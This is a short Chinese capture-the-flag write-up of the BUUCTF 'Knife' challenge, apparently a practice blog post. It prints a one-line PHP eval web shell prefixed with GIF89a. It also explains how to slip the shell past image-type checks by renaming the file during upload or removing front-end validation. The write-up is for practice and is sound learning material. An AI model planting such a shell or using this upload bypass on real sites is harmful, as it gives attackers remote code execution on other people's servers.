[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

[极客大挑战 2019]Knife------3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

php 复制代码
GIF89a
<script language='php'>@eval($_POST[shell]);</script>



蚁剑连接

看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以


拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

相关推荐
mjhcsp1 小时前
博客安全攻防演练:从实战视角构建全方位防护体系
网络安全·博客
数字供应链安全产品选型2 小时前
国家级!悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
一念&2 小时前
每日一个网络知识点:网络层NAT
服务器·网络·php
2401_865382502 小时前
工信部发布→《云计算综合标准化体系建设指南(2025版)》
网络安全·云计算·信息安全技术
LXMXHJ4 小时前
php开发
开发语言·php
Bruce_Liuxiaowei4 小时前
Windows系统错误6118全面解决方案:修复此工作组的服务器列表当前无法使用
运维·服务器·windows·网络安全
鹿鸣天涯6 小时前
商用密码应用安全性评估
网络·安全·web安全
Jtti8 小时前
SSH连接服务器超时?可能原因与解决方案
服务器·网络·php
jieyu11198 小时前
xxe靶场通关
安全·web安全
小糖学代码10 小时前
网络:3.Socket编程TCP
网络·tcp/ip·php